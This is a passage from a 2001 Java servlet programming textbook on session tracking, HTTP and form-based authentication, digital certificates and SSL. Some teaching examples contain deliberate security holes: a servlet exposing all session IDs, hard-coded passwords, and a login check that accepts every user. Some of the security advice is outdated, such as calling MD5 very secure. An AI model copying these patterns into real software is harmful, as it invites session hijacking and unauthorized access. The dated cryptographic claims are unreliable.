Note that encodeUrl() and
encodeRedirectedUrl() employ a different
capitalization scheme than getRequestURL() and
getRequestURI(). The following code snippet shows
a servlet writing a link to itself that is encoded to contain the
current session ID:

out.println("Click <A HREF=\"" +
            res.encodeUrl(req.getRequestURI()) + "\">here</A>");
out.println("to reload this page.");

On servers that don't support URL rewriting or have URL rewriting turned off, the resulting URL remains unchanged. Now here's a code snippet that shows a servlet redirecting the user to a URL encoded to contain the session ID:

res.sendRedirect(res.encodeRedirectUrl("/servlet/NewServlet"));

On servers that don't support URL rewriting or have URL rewriting turned off, the resulting URL remains unchanged.

A servlet can detect whether the session ID used to identify the current HttpSession object came from a cookie or from an encoded URL using the isRequestedSessionIdFromCookie() and isRequestedSessionIdFromUrl() methods:

public boolean HttpServletRequest.isRequestedSessionIdFromCookie()
public boolean HttpServletRequest.isRequestedSessionIdFromUrl()

Determining if the session ID came from another source, such as an SSL session, is not currently possible.

A requested session ID may not match the ID of the session returned by the getSession() method, such as when the session ID is invalid. A servlet can determine whether a requested session ID is valid using isRequestedSession- IdValid() :

public boolean HttpServletRequest.isRequestedSessionIdValid()

7.5.8. Session Snoop

The SessionSnoop servlet shown in Example 7-7 uses most of the methods discussed thus far in the chapter to snoop information about the current session and other sessions on the server. Figure 7-3 shows a sample of its output.

Example 7-7. Snooping session information

import java.io.*;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class SessionSnoop extends HttpServlet {

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    res.setContentType("text/html");
    PrintWriter out = res.getWriter();

    // Get the current session object, create one if necessary
    HttpSession session = req.getSession(true);

    // Increment the hit count for this page. The value is saved
    // in this client's session under the name "snoop.count".
    Integer count = (Integer)session.getValue("snoop.count");
    if (count == null)
      count = new Integer(1);
    else
      count = new Integer(count.intValue() + 1);
    session.putValue("snoop.count", count);

    out.println("<HTML><HEAD><TITLE>SessionSnoop</TITLE></HEAD>");
    out.println("<BODY><H1>Session Snoop</H1>");

    // Display the hit count for this page
    out.println("You've visited this page " + count +
      ((count.intValue() == 1) ? " time." : " times."));

    out.println("<P>");

    out.println("<H3>Here is your saved session data:</H3>");
    String[] names = session.getValueNames();
    for (int i = 0; i < names.length; i++) {
      out.println(names[i] + ": " + session.getValue(names[i]) + "<BR>");
    }

    out.println("<H3>Here are some vital stats on your session:</H3>");
    out.println("Session id: " + session.getId() + "<BR>");
    out.println("New session: " + session.isNew() + "<BR>");
    out.println("Creation time: " + session.getCreationTime());
    out.println("<I>(" + new Date(session.getCreationTime()) + ")</I><BR>");
    out.println("Last access time: " + session.getLastAccessedTime());
    out.println("<I>(" + new Date(session.getLastAccessedTime()) +
                ")</I><BR>");

    out.println("Requested session ID from cookie: " +
                req.isRequestedSessionIdFromCookie() + "<BR>");
    out.println("Requested session ID from URL: " +
                req.isRequestedSessionIdFromUrl() + "<BR>");
    out.println("Requested session ID valid: " +
                 req.isRequestedSessionIdValid() + "<BR>");

    out.println("<H3>Here are all the current session IDs");
    out.println("and the times they've hit this page:</H3>");
    HttpSessionContext context = session.getSessionContext();
    Enumeration ids = context.getIds();
    while (ids.hasMoreElements()) {
      String id = (String)ids.nextElement();
      out.println(id + ": ");
      HttpSession foreignSession = context.getSession(id);
      Integer foreignCount =
        (Integer)foreignSession.getValue("snoop.count");
      if (foreignCount == null)
        out.println(0);
      else
        out.println(foreignCount.toString());
      out.println("<BR>");
    }

    out.println("<H3>Test URL Rewriting</H3>");
    out.println("Click <A HREF=\"" +
                res.encodeUrl(req.getRequestURI()) + "\">here</A>");
    out.println("to test that session tracking works via URL");
    out.println("rewriting even when cookies aren't supported.");

    out.println("</BODY></HTML>");
  }
}

Figure 7-3. Example output from SessionSnoop

This servlet begins with the same code as the SessionTracker servlet shown in Example 7-4. Then it continues on to display the current session's ID, whether it is a new session, the session's creation time, and the session's last access time. Next the servlet displays whether the requested session ID (if there is one) came from a cookie or a URL and whether the requested ID is valid. Then the servlet iterates over all the currently valid session IDs, displaying the number of times they have visited this page. Finally, the servlet prints an encoded URL that can be used to reload this page to test that URL rewriting works even when cookies aren't supported.

Note that installing this servlet is a security risk, as it exposes the server's session IDs--these may be used by unscrupulous clients to join other clients' sessions. The SessionServlet that is installed by default with the Java Web Server 1.1.x has similar behavior.

7.5.9. Session Binding Events

Some objects may wish to perform an action when they are bound or unbound from a session. For example, a database connection may begin a transaction when bound to a session and end the transaction when unbound. Any object that implements the javax.servlet.http.HttpSessionBindingListener interface is notified when it is bound or unbound from a session. The interface declares two methods, valueBound() and valueUnbound(), that must be implemented:

public void HttpSessionBindingListener.valueBound(
            HttpSessionBindingEvent event)
public void HttpSessionBindingListener.valueUnbound(
            HttpSessionBindingEvent event)

The valueBound() method is called when the listener is bound into a session, and valueUnbound() is called when the listener is unbound from a session.

The javax.servlet.http.HttpSessionBindingEvent argument provides access to the name under which the object is being bound (or unbound) with the getName() method:

public String HttpSessionBindingEvent.getName()

The HttpSessionBindingEvent object also provides access to the HttpSession object to which the listener is being bound (or unbound) with getSession() :

public HttpSession HttpSessionBindingEvent.getSession()

Example 7-8 demonstrates the use of HttpSessionBindingListener and HttpSessionBindingEvent with a listener that logs when it is bound and unbound from a session.

Example 7-8. Tracking session binding events

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class SessionBindings extends HttpServlet {

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    res.setContentType("text/plain");
    PrintWriter out = res.getWriter();

    // Get the current session object, create one if necessary
    HttpSession session = req.getSession(true);

    // Add a CustomBindingListener
    session.putValue("bindings.listener",
                     new CustomBindingListener(getServletContext()));

    out.println("This page intentionally left blank");
  }
}

class CustomBindingListener implements HttpSessionBindingListener {

  // Save a ServletContext to be used for its log() method
  ServletContext context;

  public CustomBindingListener(ServletContext context) {
    this.context = context;
  }

  public void valueBound(HttpSessionBindingEvent event) {
    context.log("BOUND as " + event.getName() +
                " to " + event.getSession().getId());
  }

  public void valueUnbound(HttpSessionBindingEvent event) {
    context.log("UNBOUND as " + event.getName() +
                " from " + event.getSession().getId());
  }
}

Each time a CustomBindingListener object is bound to a session, its valueBound() method is called and the event is logged. Each time it is unbound from a session, its valueUnbound() method is called so that event too is logged. We can observe the sequence of events by looking at the server's event log.

Let's assume that this servlet is called once, reloaded 30 seconds later, and not called again for at least a half hour. The event log would look something like this:

[Tue Jan 27 01:46:48 PST 1998]
  BOUND as bindings.listener to INWBUJIAAAAAHQDGPM5QAAA
[Tue Jan 27 01:47:18 PST 1998]
  UNBOUND as bindings.listener from INWBUJIAAAAAHQDGPM5QAAA
[Tue Jan 27 01:47:18 PST 1998]
  BOUND as bindings.listener to INWBUJIAAAAAHQDGPM5QAAA
[Tue Jan 27 02:17:18 PST 1998]
  UNBOUND as bindings.listener from INWBUJIAAAAAHQDGPM5QAAA

The first entry occurs during the first page request, when the listener is bound to the new session. The second and third entries occur during the reload, as the listener is unbound and rebound during the same putValue() call. The fourth entry occurs a half hour later, when the session expires and is invalidated.

7.5.10. Shopping Using Session Tracking

Let's end this chapter with a look at how remarkably simple our shopping cart viewer servlet becomes when we use session tracking. Example 7-9 shows the viewer saving each of the cart's items in the user's session under the name "cart.items".

Example 7-9. Using the session tracking API

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class ShoppingCartViewerSession extends HttpServlet {

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    res.setContentType("text/html");
    PrintWriter out = res.getWriter();

    // Get the current session object, create one if necessary.
    HttpSession session = req.getSession(true);

    // Cart items are maintained in the session object.
    String[] items = (String[])session.getValue("cart.items");

    out.println("<HTML><HEAD><TITLE>SessionTracker</TITLE></HEAD>");
    out.println("<BODY><H1>Session Tracking Demo</H1>");

    // Print the current cart items.
    out.println("You currently have the following items in your cart:<BR>");
    if (items == null) {
      out.println("<B>None</B>");
    }
    else {
      out.println("<UL>");
      for (int i = 0; i < items.length; i++) {
        out.println("<LI>" + items[i]);
      }
      out.println("</UL>");
    }

    // Ask if they want to add more items or check out.
    out.println("<FORM ACTION=\"/servlet/ShoppingCart\" METHOD=POST>");
    out.println("Would you like to<BR>");
    out.println("<INPUT TYPE=submit VALUE=\" Add More Items \">");
    out.println("<INPUT TYPE=submit VALUE=\" Check Out \">");
    out.println("</FORM>");

    // Offer a help page. Encode it as necessary.
    out.println("For help, click <A HREF=\"" +
                res.encodeUrl("/servlet/Help?topic=ShoppingCartViewer") +
                "\">here</A>");

    out.println("</BODY></HTML>");
  }
}
Previous | Home | Next
7.4. Persistent Cookies | Book Index | 8. Security
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Security (Java Servlet Programming)

 Java Servlet Programming Search this book

Chapter 8. Security

Contents:

HTTP Authentication
Digital Certificates
Secure Sockets Layer (SSL)
Running Servlets Securely

So far we have imagined that our servlets exist in a perfect world, where everyone is trustworthy and nobody locks their doors at night. Sadly, that's a 1950s fantasy world: the truth is that the Internet has its share of fiendish rogues. As companies place more and more emphasis on online commerce and begin to load their Intranets with sensitive information, security has become one of the most important topics in web programming.

Security is the science of keeping sensitive information in the hands of authorized users. On the web, this boils down to three important issues:

Authentication

Being able to verify the identities of the parties involved

Confidentiality

Ensuring that only the parties involved can understand the communication

Integrity

Being able to verify that the content of the communication is not changed during transmission

A client wants to be sure that it is talking to a legitimate server (authentication), and it also want to be sure that any information it transmits, such as credit card numbers, is not subject to eavesdropping (confidentiality). The server is also concerned with authentication and confidentiality. If a company is selling a service or providing sensitive information to its own employees, it has a vested interest in making sure that nobody but an authorized user can access it. And both sides need integrity to make sure that whatever information they send gets to the other party unaltered.

Authentication, confidentiality, and integrity are all linked by digital certificate technology. Digital certificates allow web servers and clients to use advanced cryptographic techniques to handle identification and encryption in a secure manner. Thanks to Java's built-in support for digital certificates, servlets are an excellent platform for deploying secure web applications that use digital certificate technology. We'll be taking a closer look at them later.

Security is also about making sure that crackers can't gain access to the sensitive data on your web server. Because Java was designed from the ground up as a secure, network-oriented language, it is possible to leverage the built-in security features and make sure that server add-ons from third parties are almost as safe as the ones you write yourself.

This chapter introduces the basics of web security and digital certificate technology in the context of using servlets. It also discusses how to maintain the security of your web server when running servlets from untrusted third-parties. You'll notice that this chapter takes a higher-level approach and shows fewer examples than previous chapters. The reason is that many of the topics in this chapter require web server-specific administration to implement. The servlets just tag along for the ride.

Finally, a note of caution. We are just a couple of servlet programmers, and we disclaim all responsibility for any security-related incidents that might result from following our advice. For a much more complete overview of web security technology and procedures, see Web Security & Commerce by Simson Garfinkel with Gene Spafford (O'Reilly). Of course, they probably won't accept responsibility either.

8.1. HTTP Authentication

As we discussed briefly in Chapter 4, "Retrieving Information", the HTTP protocol provides built-in authentication support--called basic authentication--based on a simple challenge/response, username/password model. With this technique, the web server maintains a database of usernames and passwords and identifies certain resources (files, directories, servlets, etc.) as protected. When a user requests access to a protected resource, the server responds with a request for the client's username and password. At this point, the browser usually pops up a dialog box where the user enters the information, and that input is sent back to the server as part of a second authorized request. If the submitted username and password match the information in the server's database, access is granted. The whole authentication process is handled by the server itself.

Basic authentication is very weak. It provides no confidentiality, no integrity, and only the most basic authentication. The problem is that passwords are transmitted over the network, thinly disguised by a well-known and easily reversed Base64 encoding. Anyone monitoring the TCP/IP data stream has full and immediate access to all the information being exchanged, including the username and password. Plus, passwords are often stored on the server in clear text, making them vulnerable to anyone cracking into the server's file system. While it's certainly better than nothing, sites that rely exclusively on basic authentication cannot be considered really secure.

Digest authentication is a variation on the basic authentication scheme. Instead of transmitting a password over the network directly, a digest of the password is used instead. The digest is produced by taking a hash (using the very secure MD5 encryption algorithm) of the username, password, URI, HTTP request method, and a randomly generated "nonce" value provided by the server. Both sides of the transaction know the password and use it to compute digests. If the digests match, access is granted. Transactions are thus somewhat more secure than they would be otherwise because digests are valid for only a single URI request and nonce value. The server, however, must still maintain a database of the original passwords. And, as of this writing, digest authentication is not supported by very many browsers.

The moral of the story is that HTTP authentication can be useful in low-security environments. For example, a site that charges for access to content--say, an online newspaper--is more concerned with ease of use and administration than lock-tight security, so HTTP authentication is often sufficient.

8.1.1. Retrieving Authentication Information

A servlet can retrieve information about the server's authentication using two methods introduced in Chapter 4, "Retrieving Information": getRemoteUser() and getAuthType(). Example 8-1 shows a simple servlet that tells the client its name and what kind of authentication has been performed (basic, digest, or some alternative). To see this servlet in action, you should install it in your web server and protect it with a basic or digest security scheme. Because web server implementations vary, you'll need to check your server documentation for the specifics on how to set this up.

Example 8-1. Snooping the authorization information

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class AuthorizationSnoop extends HttpServlet {

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    res.setContentType("text/html");
    PrintWriter out = res.getWriter();

    out.println("<HTML><HEAD><TITLE>Authorization Snoop</TITLE></HEAD><BODY>");

    out.println("<H1>This is a password protected resource</H1>");
    out.println("<PRE>");
    out.println("User Name: " + req.getRemoteUser());
    out.println("Authorization Type: " + req.getAuthType());
    out.println("</PRE>");
    out.println("</BODY></HTML>");
  }
}

8.1.2. Custom Authorization

Normally, client authentication is handled by the web server. The server administrator tells the server which resources are to be restricted to which users, and information about those users (such as their passwords) is somehow made available to the server.

This is often good enough, but sometimes the desired security policy cannot be implemented by the server. Maybe the user list needs to be stored in a format that is not readable by the server. Or maybe you want any username to be allowed, as long as it is given with the appropriate "skeleton key" password. To handle these situations, we can use servlets. A servlet can be implemented so that it learns about users from a specially formatted file or a relational database; it can also be written to enforce any security policy you like. Such a servlet can even add, remove, or manipulate user entries--something that isn't supported directly in the Servlet API, except through proprietary server extensions.[1]

[1]Sadly, getAuthType() and getRemoteUser() are the only security-related methods supported in the core Servlet API. This is because different web servers implement different types of security, making a server-independent API difficult to develop. Individual servers and servlet implementations are free to provide their own customized user management routines. The Java Web Server, for example, provides servlets with programmatic access to its security and authentication systems using classes in the com.sun.server.* packages. Servlets written to these APIs are, of course, non-portable.

A servlet uses status codes and HTTP headers to manage its own security policy. The servlet receives encoded authorization credentials in the Authorization header. If it chooses to deny those credentials, it does so by sending the SC_UNAUTHORIZED status code and a WWW-Authenticate header that describes the desired credentials. A web server normally handles these details without involving its servlets, but for a servlet to do its own authorization, it must handle these details itself, while the server is told not to restrict access to the servlet.

The Authorization header, if sent by the client, contains the client's username and password. With the basic authorization scheme, the Authorization header contains the string of "username:password" encoded in Base64. For example, the username of "webmaster" with the password "try2gueSS" is sent in an Authorization header with the value:

BASIC d2VibWFzdGVyOnRyeTJndWVTUw

If a servlet needs to, it can send an WWW-Authenticate header to tell the client the authorization scheme and the realm against which users will be verified. A realm is simply a collection of user accounts and protected resources. For example, to tell the client to use basic authorization for the realm "Admin", the WWW-Authenticate header is:

BASIC realm="Admin"

Example 8-2 shows a servlet that performs custom authorization, receiving an Authorization header and sending the SC_UNAUTHORIZED status code and WWW-Authenticate header when necessary. The servlet restricts access to its "top-secret stuff" to those users (and passwords) it recognizes in its user list. For this example, the list is kept in a simple Hashtable and its contents are hard-coded; this would, of course, be replaced with some other mechanism, such as an external relational database, for a production servlet.

To retrieve the Base64-encoded username and password, the servlet needs to use a Base64 decoder. Fortunately, there are several freely available decoders. For this servlet, we have chosen to use the sun.misc.BASE64Decoder class that accompanies the JDK. Being in the sun.* hierarchy means it's unsupported and subject to change, but it also means it's probably already on your system. You can find the details of Base64 encoding in RFC 1521 at http://www.ietf.org/rfc/rfc1521.txt.

Example 8-2. Security in a servlet

import java.io.*;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class CustomAuth extends HttpServlet {

  Hashtable users = new Hashtable();

  public void init(ServletConfig config) throws ServletException {
    super.init(config);
    users.put("Wallace:cheese",     "allowed");
    users.put("Gromit:sheepnapper", "allowed");
    users.put("Penguin:evil",       "allowed");
  }

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
        PrintWriter out = res.getWriter();

    // Get Authorization header
    String auth = req.getHeader("Authorization");

    // Do we allow that user?
    if (!allowUser(auth)) {
      // Not allowed, so report he's unauthorized
      res.setHeader("WWW-Authenticate", "BASIC realm=\"users\"");
      res.sendError(res.SC_UNAUTHORIZED);
      // Could offer to add him to the allowed user list
    }
    else {
      // Allowed, so show him the secret stuff
      out.println("Top-secret stuff");
    }
  }

  // This method checks the user information sent in the Authorization
  // header against the database of users maintained in the users Hashtable.
  protected boolean allowUser(String auth) throws IOException {
    if (auth == null) return false;  // no auth

    if (!auth.toUpperCase().startsWith("BASIC "))
      return false;  // we only do BASIC

    // Get encoded user and password, comes after "BASIC "
    String userpassEncoded = auth.substring(6);

    // Decode it, using any base 64 decoder
    sun.misc.BASE64Decoder dec = new sun.misc.BASE64Decoder();
    String userpassDecoded = new String(dec.decodeBuffer(userpassEncoded));

    // Check our user list to see if that user and password are "allowed"
    if ("allowed".equals(users.get(userpassDecoded)))
      return true;
    else
      return false;
  }
}

Although the web server is told to grant any client access to this servlet, the servlet sends its top-secret output only to those users it recognizes. With a few modifications, it could allow any user with a trusted skeleton password. Or, like anonymous FTP, it could allow the "anonymous" username with any email address given as the password.

Custom authorization can be used for more than restricting access to a single servlet. Were we to add this logic to our ViewFile servlet, we could implement a custom access policy for an entire set of files. Were we to create a special subclass of HttpServlet and add this logic to that, we could easily restrict access to every servlet derived from that subclass. Our point is this: with custom authorization, the security policy limitations of the server do not limit the possible security policy implementations of its servlets.

8.1.3. Form-based Custom Authorization

Servlets can also perform custom authorization without relying on HTTP authorization, by using HTML forms and session tracking instead. It's a bit more effort to give users a well-designed, descriptive, and friendly login page. For example, imagine you're developing an online banking site. Would you rather let the browser present a generic prompt for username and password or provide your customers with a custom login form that politely asks for specific banking credentials, as shown in Figure 8-1?

Figure 8-1. An online banking login screen

Many banks and other online services have chosen to use form-based custom authorization. Implementing such a system is relatively straightforward with servlets. First, we need the login page. It can be written like any other HTML form. Example 8-3 shows a sample login.html file that generates the form shown in Figure 8-2.

Example 8-3. The login.html file

<HTML>
<TITLE>Login</TITLE>
<BODY>
<FORM ACTION=/servlet/LoginHandler METHOD=POST>
<CENTER>
<TABLE BORDER=0>
<TR><TD COLSPAN=2>
<P ALIGN=center>
Welcome!  Please enter your Name<br>
 and Password to log in.
</TD></TR>

<TR><TD>
<P ALIGN=right><B>Name:</B>
</TD>
<TD>
<P><INPUT TYPE=text NAME="name" VALUE="" SIZE=15>
</TD></TR>

<TR><TD>
<P ALIGN=right><B>Password:</B>
</TD>
<TD>
<P><INPUT TYPE=password NAME="passwd" VALUE="" SIZE=15>
</TD></TR>

<TR><TD COLSPAN=2>
<CENTER>
<INPUT TYPE=submit VALUE="  OK   ">
</CENTER>
</TD></TR>
</TABLE>
</BODY></HTML>

Figure 8-2. A friendly login form

This form asks the client for her name and password, then submits the information to the LoginHandler servlet that validates the login. We'll see the code for LoginHandler soon, but first we should ask ourselves, "When is the client going to see this login page?" It's clear she can browse to this login page directly, perhaps following a link on the site's front page. But what if she tries to access a protected resource directly without first logging in? In that case, she should be redirected to this login page and, after a successful login, be redirected back to the original target. The process should work as seamlessly as having the browser pop open a window--except in this case the site pops open an intermediary page.

Example 8-4 shows a servlet that implements this redirection behavior. It outputs its secret data only if the client's session object indicates she has already logged in. If she hasn't logged in, the servlet saves the request URL in her session for later use, and then redirects her to the login page for validation.

Example 8-4. A protected resource

import java.io.*;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class ProtectedResource extends HttpServlet {

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    res.setContentType("text/plain");
    PrintWriter out = res.getWriter();

    // Get the session
    HttpSession session = req.getSession(true);

    // Does the session indicate this user already logged in?
    Object done = session.getValue("logon.isDone");  // marker object
    if (done == null) {
      // No logon.isDone means he hasn't logged in.
      // Save the request URL as the true target and redirect to the login page.
      session.putValue("login.target",
                       HttpUtils.getRequestURL(req).toString());
      res.sendRedirect(req.getScheme() + "://" +
                       req.getServerName() + ":" + req.getServerPort() +
                       "/login.html");
      return;
    }

    // If we get here, the user has logged in and can see the goods
    out.println("Unpublished O'Reilly book manuscripts await you!");
  }
}

This servlet sees if the client has already logged in by checking her session for an object with the name "logon.isDone". If such an object exists, the servlet knows that the client has already logged in and therefore allows her to see the secret goods. If it doesn't exist, the client must not have logged in, so the servlet saves the request URL under the name "login.target", and then redirects the client to the login page. Under form-based custom authorization, all protected resources (or the servlets that serve them) have to implement this behavior. Subclassing, or the use of a utility class, can simplify this task.

Now for the login handler. After the client enters her information on the login form, the data is posted to the LoginHandler servlet shown in Example 8-5. This servlet checks the username and password for validity. If the client fails the check, she is told that access is denied. If the client passes, that fact is recorded in her session object and she is immediately redirected to the original target.

Example 8-5. Handling a login

import java.io.*;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class LoginHandler extends HttpServlet {

  public void doPost(HttpServletRequest req, HttpServletResponse res)
                                throws ServletException, IOException {
    res.setContentType("text/html");
    PrintWriter out = res.getWriter();

    // Get the user's name and password
    String name = req.getParameter("name");
    String passwd = req.getParameter("passwd");

    // Check the name and password for validity
    if (!allowUser(name, passwd)) {
      out.println("<HTML><HEAD><TITLE>Access Denied</TITLE></HEAD>");
      out.println("<BODY>Your login and password are invalid.<BR>");
      out.println("You may want to <A HREF=\"/login.html\">try again</A>");
      out.println("</BODY></HTML>");
    }
    else {
      // Valid login. Make a note in the session object.
      HttpSession session = req.getSession(true);
      session.putValue("logon.isDone", name);  // just a marker object

      // Try redirecting the client to the page he first tried to access
      try {
        String target = (String) session.getValue("login.target");
        if (target != null)
          res.sendRedirect(target);
        return;
      }
      catch (Exception ignored) { }

      // Couldn't redirect to the target. Redirect to the site's home page.
      res.sendRedirect(req.getScheme() + "://" +
                       req.getServerName() + ":" + req.getServerPort());
    }
  }

  protected boolean allowUser(String user, String passwd) {
    return true;  // trust everyone
  }
}

The actual validity check in this servlet is quite simple: it assumes any username and password are valid. That keeps things simple, so we can concentrate on how the servlet behaves when the login is successful. The servlet saves the user's name (any old object will do) in the client's session under the name "logon.isDone", as a marker that tells all protected resources this client is okay. It then redirects the client to the original target saved as "login.target", seamlessly sending her where she wanted to go in the first place. If that fails for some reason, the servlet redirects the user to the site's home page.

Previous | Home | Next
7.5. The Session Tracking API | Book Index | 8.2. Digital Certificates
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Digital Certificates (Java Servlet Programming)

 Java Servlet Programming Search this book

8.2. Digital Certificates

Real applications require a higher level of security than basic and digest authentication provide. They also need guaranteed confidentiality and integrity, as well as more reliable authentication. Digital certificate technology provides this.

The key concept is public key cryptography. In a public key cryptographic system, each participant has two keys that are used to encrypt or decrypt information. One is the public key, which is distributed freely. The other is a private key, which is kept secret. The keys are related, but one can not be derived from the other. To demonstrate, assume Jason wants to send a secret message to Will. He finds Will's public key and uses it to encrypt the message. When Will gets the message, he uses his private key to decrypt it. Anyone intercepting the message in transit is confronted with indecipherable gibberish.

Public key encryption schemes have been around for several years and are quite well developed. Most are based on the patented RSA algorithm developed by Ron Rivest, Adi Shamir, and Leonard Adelman. RSA uses very large prime numbers to generate a pair of asymmetric keys (i.e., each key can decode messages encoded with the other). Individual keys come in varying lengths, usually expressed in terms of the number of bits that make up the key. 1024- or 2048-bit keys are adequate for secure RSA communications.

Because keys are so large, it is not practical for a user to type one into her web brower for each request. Instead, keys are stored on disk in the form of digital certificates. Digital certificates can be generated by software like Phil Zimmerman's PGP package, or they can be issued by a third party. The certificate files themselves can be loaded by most security-aware applications, such as servers, browsers, and email software.

Public key cryptography solves the confidentiality problem because the communication is encrypted. It also solves the integrity problem: Will knows that the message he received was not tampered with since it decodes properly. So far, though, it does not provide any authentication. Will has no idea whether Jason actually sent the message. This is where digital signatures come into play. Because public and private keys are asymmetric, Jason can first use his private key to encode a message and then use Will's public key to encode it again. When Will gets the message, he decodes it first with his private key, and then with Jason's public key. Because only Jason can encode messages with his private key--messages that can be decoded only with his public key--Will knows that the message was truly sent by Jason.

This is different from simpler symmetric key systems, where a single key is used for encoding and decoding. While asymmetric keys have the significant advantage of allowing secure communication without ever requiring a secure channel, they have the disadvantage of requiring much more computational muscle. As a compromise, many encryption systems use asymmetric public and private keys to identify each other and then confidentially exchange a separate symmetric key for encrypting the actual exchange. The symmetric key is usually based on DES (Data Encryption Standard).

U.S. government restrictions currently limit symmetric key size to 56 bits (about 72 quadrillion possible keys). Messages encrypted with a 56-bit key are difficult to decode, but by no means impossible--large networks have been used to decode such messages within a matter of days. With the United States, however, many systems use 128-bit DES keys (about 3.40282 x 10^38 possible keys). Because there is no know way to decode a DES-encrypted message short of brute-force trial and error, messages sent using large keys are very, very secure.

This leaves one final problem--how does one user know that another user is who she says she is? Jason and Will know each other, so Will trusts that the public key Jason gave him in person is the real one.[2] On the other hand, if Lisa wants to give Jason her public key, but Jason and Lisa have never met, there is no reason for Jason to believe that Lisa is not actually Mark. But, if we assume that Will knows Lisa, we can have Will use his private key to sign Lisa's public key. Then, when Jason gets the key, he can detect that Will, whom he trusts, is willing to vouch for Lisa's identity. These introductions are sometimes called a "web of trust."

[2]To be truthful, people almost never meet in dark alleys to exchange their full public keys. Instead, they exchange keys digitally (via email, perhaps) and in person simply compare a small fingerprint hash of the key.

In the real world, this third-party vouching is usually handled by a specially established certificate authority, such as VeriSign Corporation. Because VeriSign is a well-known organization with a well-known public key, keys verified and signed by VeriSign can be assumed to be trusted, at least to the extent that VeriSign received proper proof of the receiver's identity. VeriSign offers a number of classes of digital IDs, each with an increasing level of trust. You can get a Class 1 ID by simply filling out a form on the VeriSign web site and receiving an email. Higher classes are individually verified by VeriSign employees, using background checks and investigative services to verify identities.

When selecting a certificate authority, it is important to choose a firm with strong market presence. VeriSign certificates, for instance, are included in Netscape Navigator and Microsoft Internet Explorer, so virtually every user on the Internet will trust and accept them. The following firms provide certificate authority services:

  • VeriSign (http://www.verisign.com/)

  • Thawte Consulting (http://www.thawte.com/)

  • Entrust Technologies (http://www.entrust.com/)

  • Keywitness (http://www.keywitness.ca/)

For more abstract information about digital certificates, we recommend Understanding Digital Signatures by Gail L. Grant (Mc-Graw Hill), which provides an excellent introduction to the subject suitable for programmers and nonprogrammers alike. For more on cryptography as it is related to Java, we recommend Java Cryptography by Jonathan Knudsen (O'Reilly).

Previous | Home | Next
8.1. HTTP Authentication | Book Index | 8.3. Secure Sockets Layer (SSL)
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Secure Sockets Layer (SSL) (Java Servlet Programming)

 Java Servlet Programming Search this book

8.3. Secure Sockets Layer (SSL)

The Secure Sockets Layer protocol, or SSL, sits between the application-level protocol (in this case HTTP) and the low-level transport protocol (for the Internet, almost exclusively TCP/IP). It handles the details of security management using public key cryptography to encrypt all client/server communication. SSL was introduced by Netscape with Netscape Navigator 1. It has since become the de facto standard for secure online communications and forms the basis of the Transport Layer Security (TLS) protocol currently under development by the Internet Engineering Task Force. For more information on TLS, see http://www.ietf.org/.

SSL Version 2.0, the version first to gain widespread acceptance, includes support for server certificates only. It provides authentication of the server, confidentiality, and integrity. Here's how it works:

  1. A user connects to a secure site using the HTTPS (HTTP plus SSL) protocol. (You can detect sites using the HTTPS protocol because their URLs begin with https: instead of http:.)

  2. The server signs its public key with its private key and sends it back to the browser.

  3. The browser uses the server's public key to verify that the same person who signed the key actually owns it.

  4. The browser checks to see whether a trusted certificate authority signed the key. If one didn't, the browser asks the user if the key can be trusted and proceeds as directed.

  5. The client generates a symmetric ( DES) key for the session, which is encrypted with the server's public key and sent back to the server. This new key is used to encrypt all subsequent transactions. The symmetric key is used because of the high computational cost of public key cryptosystems.

All this is completely transparent to servlets and servlet developers. You just need to obtain an appropriate server certificate, install it, and configure your server appropriately. Information transferred between servlets and clients is now encrypted. Voila, security!

8.3.1. SSL Client Authentication

Our security toolbox now includes strong encryption and strong server authentication, but only weak client authentication. Of course, using SSL 2.0 puts us in better shape because SSL-equipped servers can use the basic authentication methods discussed at the beginning of this chapter without concern for eavesdropping. We still don't have proof of client identity, however--after all, anybody could have guessed or gotten a hold of a client username and password.

SSL 3.0 fixes this problem by providing support for client certificates. These are the same type of certificates that servers use, but they are registered to clients instead. As of this writing, VeriSign claims to have distributed more than 750,000 client certificates. SSL 3.0 with client authentication works the same way as SSL 2.0, except that after the client has authenticated the server, the server requests the client's certificate. The client then sends its signed certificate, and the server performs the same authentication process as the client did, comparing the client certificate to a library of existing certificates (or simply storing the certificate to identify the user on a return visit). As a security precaution, many browsers require the client user to enter a password before they will send the certificate.

Once a client has been authenticated, the server can allow access to protected resources such as servlets or files just as with HTTP authentication. The whole process occurs transparently, without inconveniencing the user. It also provides an extra level of authentication because the server knows the client with a John Smith certificate really is John Smith (and it can know which John Smith it is by reading his unique certificate). The disadvantages of client certificates are that users must obtain and install signed certificates, servers must maintain a database of all accepted public keys, and servers must support SSL 3.0 in the first place. As of this writing, most do, including the Java Web Server.

8.3.2. Retrieving SSL Authentication Information

As with basic and digest authentication, all of this communication is transparent to servlets. It is sometimes possible, though, for a servlet to retrieve the relevant SSL authentication information. The java.security package has some basic support for manipulating digital certificates and signatures. To retrieve a client's digital information, however, a servlet has to rely on a server-specific implementation of the request's getAttribute() method. Example 8-6 (reprinted from Chapter 4, "Retrieving Information") shows how to use getAttribute() to fetch the details of a client's certificates. Remember that this works only for the Java Web Server. Other servlet implementations, if they include this functionality at all, are likely to do it in a slightly different way, although we hope that they build on Java's standard signature support.

Example 8-6. Examining client certificates

import javax.security.cert.X509Certificate;

out.println("<PRE>");

// Display the cipher suite in use
String cipherSuite =
  (String) req.getAttribute("javax.net.ssl.cipher_suite");
out.println("Cipher Suite: " + cipherSuite);

// Display the client's certificates, if there are any
